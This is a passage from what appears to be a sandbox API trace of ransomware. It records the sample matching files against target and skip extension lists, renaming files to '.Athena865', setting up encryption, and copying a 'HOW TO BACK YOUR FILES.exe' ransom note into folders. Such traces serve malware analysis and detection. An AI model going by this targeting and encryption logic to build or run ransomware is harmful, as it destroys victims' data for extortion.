lpString2="4dl") returned 1 [0091.237] lstrlenW (lpString="^^^") returned 3 [0091.237] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0091.237] lstrlenW (lpString="abs") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0091.238] lstrlenW (lpString="abx") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0091.238] lstrlenW (lpString="accdb") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accdb") returned -1 [0091.238] lstrlenW (lpString="accdc") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accdc") returned -1 [0091.238] lstrlenW (lpString="accde") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accde") returned -1 [0091.238] lstrlenW (lpString="accdr") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accdr") returned -1 [0091.238] lstrlenW (lpString="accdt") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accdt") returned -1 [0091.238] lstrlenW (lpString="accdw") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accdw") returned -1 [0091.238] lstrlenW (lpString="accft") returned 5 [0091.238] lstrcmpiW (lpString1="8.jpg", lpString2="accft") returned -1 [0091.238] lstrlenW (lpString="adb") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0091.238] lstrlenW (lpString="adb") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0091.238] lstrlenW (lpString="ade") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0091.238] lstrlenW (lpString="adf") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0091.238] lstrlenW (lpString="adn") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0091.238] lstrlenW (lpString="adp") returned 3 [0091.238] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0091.238] lstrlenW (lpString="alf") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0091.239] lstrlenW (lpString="ask") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0091.239] lstrlenW (lpString="btr") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0091.239] lstrlenW (lpString="cat") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0091.239] lstrlenW (lpString="cdb") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0091.239] lstrlenW (lpString="ckp") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0091.239] lstrlenW (lpString="cma") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0091.239] lstrlenW (lpString="cpd") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0091.239] lstrlenW (lpString="dacpac") returned 6 [0091.239] lstrcmpiW (lpString1="48.jpg", lpString2="dacpac") returned -1 [0091.239] lstrlenW (lpString="dad") returned 3 [0091.239] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0091.239] lstrlenW (lpString="dadiagrams") returned 10 [0091.239] lstrcmpiW (lpString1="olor48.jpg", lpString2="dadiagrams") returned 1 [0091.239] lstrlenW (lpString="daschema") returned 8 [0091.239] lstrcmpiW (lpString1="or48.jpg", lpString2="daschema") returned 1 [0091.239] lstrlenW (lpString="db-journal") returned 10 [0091.239] lstrcmpiW (lpString1="olor48.jpg", lpString2="db-journal") returned 1 [0091.239] lstrlenW (lpString="db-shm") returned 6 [0091.239] lstrcmpiW (lpString1="48.jpg", lpString2="db-shm") returned -1 [0091.239] lstrlenW (lpString="db-wal") returned 6 [0091.239] lstrcmpiW (lpString1="48.jpg", lpString2="db-wal") returned -1 [0091.239] lstrlenW (lpString="dbc") returned 3 [0091.240] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0091.240] lstrlenW (lpString="dbs") returned 3 [0091.240] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0091.240] lstrlenW (lpString="dbt") returned 3 [0091.240] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0091.240] lstrlenW (lpString="dbv") returned 3 [0091.240] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0091.240] lstrlenW (lpString="dbx") returned 3 [0091.240] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0091.240] lstrlenW (lpString="dcb") returned 3 [0091.240] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0091.240] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg.Athena865") returned 82 [0091.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg.athena865"), dwFlags=0x1) returned 1 [0091.241] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.241] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11397) returned 1 [0091.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.241] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.242] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.242] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.242] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f90, lpName=0x0) returned 0x154 [0091.244] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f90) returned 0x100000 [0091.245] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.245] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.245] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.246] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_color48.png" | out: lpString1="wmpnss_color48.png") returned="wmpnss_color48.png" [0091.246] lstrlenW (lpString="wmpnss_color48.png") returned 18 [0091.246] lstrlenW (lpString="Athena865") returned 9 [0091.246] lstrcmpiW (lpString1="lor48.png", lpString2="Athena865") returned 1 [0091.246] lstrlenW (lpString=".dll") returned 4 [0091.246] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".dll") returned 1 [0091.246] lstrlenW (lpString=".lnk") returned 4 [0091.246] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".lnk") returned 1 [0091.246] lstrlenW (lpString=".ini") returned 4 [0091.246] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".ini") returned 1 [0091.246] lstrlenW (lpString=".sys") returned 4 [0091.246] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".sys") returned 1 [0091.246] lstrlenW (lpString="wmpnss_color48.png") returned 18 [0091.247] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png.Athena865") returned 82 [0091.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png.athena865"), dwFlags=0x1) returned 1 [0091.247] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.248] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5426) returned 1 [0091.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.248] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.249] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.249] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.249] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1840, lpName=0x0) returned 0x154 [0091.250] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1840) returned 0x100000 [0091.251] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.252] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.252] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.253] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player\\Skins" | out: lpString1="C:\\Program Files\\Windows Media Player\\Skins") returned="C:\\Program Files\\Windows Media Player\\Skins" [0091.253] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Skins" | out: lpString1="C:\\Program Files\\Windows Media Player\\Skins") returned="C:\\Program Files\\Windows Media Player\\Skins" [0091.253] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.253] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\skins\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.254] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\skins\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0091.254] GetLastError () returned 0x0 [0091.254] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0091.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0091.254] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0091.255] CloseHandle (hObject=0xf4) returned 1 [0091.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0091.255] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfd86fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.256] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.256] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.256] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.256] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfd86fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.256] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.256] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.256] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.256] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.256] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfd86fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0091.256] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0091.256] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2=".") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="..") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="windows") returned -1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="bootmgr") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="temp") returned -1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="pagefile.sys") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="boot") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="ids.txt") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="ntuser.dat") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="perflogs") returned 1 [0091.256] lstrcmpiW (lpString1="Revert.wmz", lpString2="MSBuild") returned 1 [0091.256] lstrlenW (lpString="Revert.wmz") returned 10 [0091.256] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Revert.wmz" | out: lpString1="Revert.wmz") returned="Revert.wmz" [0091.256] lstrlenW (lpString="Revert.wmz") returned 10 [0091.257] lstrlenW (lpString="Athena865") returned 9 [0091.257] lstrcmpiW (lpString1="evert.wmz", lpString2="Athena865") returned 1 [0091.257] lstrlenW (lpString=".dll") returned 4 [0091.257] lstrcmpiW (lpString1="Revert.wmz", lpString2=".dll") returned 1 [0091.257] lstrlenW (lpString=".lnk") returned 4 [0091.257] lstrcmpiW (lpString1="Revert.wmz", lpString2=".lnk") returned 1 [0091.257] lstrlenW (lpString=".ini") returned 4 [0091.257] lstrcmpiW (lpString1="Revert.wmz", lpString2=".ini") returned 1 [0091.257] lstrlenW (lpString=".sys") returned 4 [0091.257] lstrcmpiW (lpString1="Revert.wmz", lpString2=".sys") returned 1 [0091.257] lstrlenW (lpString="Revert.wmz") returned 10 [0091.257] lstrlenW (lpString="bak") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="bak") returned 1 [0091.257] lstrlenW (lpString="ba_") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="ba_") returned 1 [0091.257] lstrlenW (lpString="dbb") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="dbb") returned 1 [0091.257] lstrlenW (lpString="vmdk") returned 4 [0091.257] lstrcmpiW (lpString1=".wmz", lpString2="vmdk") returned -1 [0091.257] lstrlenW (lpString="rar") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="rar") returned 1 [0091.257] lstrlenW (lpString="zip") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="zip") returned -1 [0091.257] lstrlenW (lpString="tgz") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="tgz") returned 1 [0091.257] lstrlenW (lpString="vbox") returned 4 [0091.257] lstrcmpiW (lpString1=".wmz", lpString2="vbox") returned -1 [0091.257] lstrlenW (lpString="vdi") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="vdi") returned 1 [0091.257] lstrlenW (lpString="vhd") returned 3 [0091.257] lstrcmpiW (lpString1="wmz", lpString2="vhd") returned 1 [0091.258] lstrlenW (lpString="vhdx") returned 4 [0091.258] lstrcmpiW (lpString1=".wmz", lpString2="vhdx") returned -1 [0091.258] lstrlenW (lpString="avhd") returned 4 [0091.258] lstrcmpiW (lpString1=".wmz", lpString2="avhd") returned -1 [0091.258] lstrlenW (lpString="db") returned 2 [0091.258] lstrcmpiW (lpString1="mz", lpString2="db") returned 1 [0091.258] lstrlenW (lpString="db2") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="db2") returned 1 [0091.258] lstrlenW (lpString="db3") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="db3") returned 1 [0091.258] lstrlenW (lpString="dbf") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="dbf") returned 1 [0091.258] lstrlenW (lpString="mdf") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="mdf") returned 1 [0091.258] lstrlenW (lpString="mdb") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="mdb") returned 1 [0091.258] lstrlenW (lpString="sql") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="sql") returned 1 [0091.258] lstrlenW (lpString="sqlite") returned 6 [0091.258] lstrcmpiW (lpString1="rt.wmz", lpString2="sqlite") returned -1 [0091.258] lstrlenW (lpString="sqlite3") returned 7 [0091.258] lstrcmpiW (lpString1="ert.wmz", lpString2="sqlite3") returned -1 [0091.258] lstrlenW (lpString="sqlitedb") returned 8 [0091.258] lstrcmpiW (lpString1="vert.wmz", lpString2="sqlitedb") returned 1 [0091.258] lstrlenW (lpString="xml") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="xml") returned -1 [0091.258] lstrlenW (lpString="$er") returned 3 [0091.258] lstrcmpiW (lpString1="wmz", lpString2="$er") returned 1 [0091.258] lstrlenW (lpString="4dd") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="4dd") returned 1 [0091.259] lstrlenW (lpString="4dl") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="4dl") returned 1 [0091.259] lstrlenW (lpString="^^^") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="^^^") returned 1 [0091.259] lstrlenW (lpString="abs") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="abs") returned 1 [0091.259] lstrlenW (lpString="abx") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="abx") returned 1 [0091.259] lstrlenW (lpString="accdb") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accdb") returned 1 [0091.259] lstrlenW (lpString="accdc") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accdc") returned 1 [0091.259] lstrlenW (lpString="accde") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accde") returned 1 [0091.259] lstrlenW (lpString="accdr") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accdr") returned 1 [0091.259] lstrlenW (lpString="accdt") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accdt") returned 1 [0091.259] lstrlenW (lpString="accdw") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accdw") returned 1 [0091.259] lstrlenW (lpString="accft") returned 5 [0091.259] lstrcmpiW (lpString1="t.wmz", lpString2="accft") returned 1 [0091.259] lstrlenW (lpString="adb") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="adb") returned 1 [0091.259] lstrlenW (lpString="adb") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="adb") returned 1 [0091.259] lstrlenW (lpString="ade") returned 3 [0091.259] lstrcmpiW (lpString1="wmz", lpString2="ade") returned 1 [0091.259] lstrlenW (lpString="adf") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="adf") returned 1 [0091.260] lstrlenW (lpString="adn") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="adn") returned 1 [0091.260] lstrlenW (lpString="adp") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="adp") returned 1 [0091.260] lstrlenW (lpString="alf") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="alf") returned 1 [0091.260] lstrlenW (lpString="ask") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="ask") returned 1 [0091.260] lstrlenW (lpString="btr") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="btr") returned 1 [0091.260] lstrlenW (lpString="cat") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="cat") returned 1 [0091.260] lstrlenW (lpString="cdb") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="cdb") returned 1 [0091.260] lstrlenW (lpString="ckp") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="ckp") returned 1 [0091.260] lstrlenW (lpString="cma") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="cma") returned 1 [0091.260] lstrlenW (lpString="cpd") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="cpd") returned 1 [0091.260] lstrlenW (lpString="dacpac") returned 6 [0091.260] lstrcmpiW (lpString1="rt.wmz", lpString2="dacpac") returned 1 [0091.260] lstrlenW (lpString="dad") returned 3 [0091.260] lstrcmpiW (lpString1="wmz", lpString2="dad") returned 1 [0091.260] lstrlenW (lpString="dadiagrams") returned 10 [0091.260] lstrlenW (lpString="daschema") returned 8 [0091.260] lstrcmpiW (lpString1="vert.wmz", lpString2="daschema") returned 1 [0091.260] lstrlenW (lpString="db-journal") returned 10 [0091.260] lstrlenW (lpString="db-shm") returned 6 [0091.261] lstrcmpiW (lpString1="rt.wmz", lpString2="db-shm") returned 1 [0091.261] lstrlenW (lpString="db-wal") returned 6 [0091.261] lstrcmpiW (lpString1="rt.wmz", lpString2="db-wal") returned 1 [0091.261] lstrlenW (lpString="dbc") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dbc") returned 1 [0091.261] lstrlenW (lpString="dbs") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dbs") returned 1 [0091.261] lstrlenW (lpString="dbt") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dbt") returned 1 [0091.261] lstrlenW (lpString="dbv") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dbv") returned 1 [0091.261] lstrlenW (lpString="dbx") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dbx") returned 1 [0091.261] lstrlenW (lpString="dcb") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dcb") returned 1 [0091.261] lstrlenW (lpString="dct") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dct") returned 1 [0091.261] lstrlenW (lpString="dcx") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dcx") returned 1 [0091.261] lstrlenW (lpString="ddl") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="ddl") returned 1 [0091.261] lstrlenW (lpString="dlis") returned 4 [0091.261] lstrcmpiW (lpString1=".wmz", lpString2="dlis") returned -1 [0091.261] lstrlenW (lpString="dp1") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dp1") returned 1 [0091.261] lstrlenW (lpString="dqy") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dqy") returned 1 [0091.261] lstrlenW (lpString="dsk") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dsk") returned 1 [0091.261] lstrlenW (lpString="dsn") returned 3 [0091.261] lstrcmpiW (lpString1="wmz", lpString2="dsn") returned 1 [0091.262] lstrlenW (lpString="dtsx") returned 4 [0091.262] lstrcmpiW (lpString1=".wmz", lpString2="dtsx") returned -1 [0091.262] lstrlenW (lpString="dxl") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="dxl") returned 1 [0091.262] lstrlenW (lpString="eco") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="eco") returned 1 [0091.262] lstrlenW (lpString="ecx") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="ecx") returned 1 [0091.262] lstrlenW (lpString="edb") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="edb") returned 1 [0091.262] lstrlenW (lpString="epim") returned 4 [0091.262] lstrcmpiW (lpString1=".wmz", lpString2="epim") returned -1 [0091.262] lstrlenW (lpString="fcd") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="fcd") returned 1 [0091.262] lstrlenW (lpString="fdb") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="fdb") returned 1 [0091.262] lstrlenW (lpString="fic") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="fic") returned 1 [0091.262] lstrlenW (lpString="flexolibrary") returned 12 [0091.262] lstrlenW (lpString="fm5") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="fm5") returned 1 [0091.262] lstrlenW (lpString="fmp") returned 3 [0091.262] lstrcmpiW (lpString1="wmz", lpString2="fmp") returned 1 [0091.262] lstrlenW (lpString="fmp12") returned 5 [0091.262] lstrcmpiW (lpString1="t.wmz", lpString2="fmp12") returned 1 [0091.262] lstrlenW (lpString="fmpsl") returned 5 [0091.262] lstrcmpiW (lpString1="t.wmz", lpString2="fmpsl") returned 1 [0091.262] lstrlenW (lpString="fol") returned 3 [0091.262] 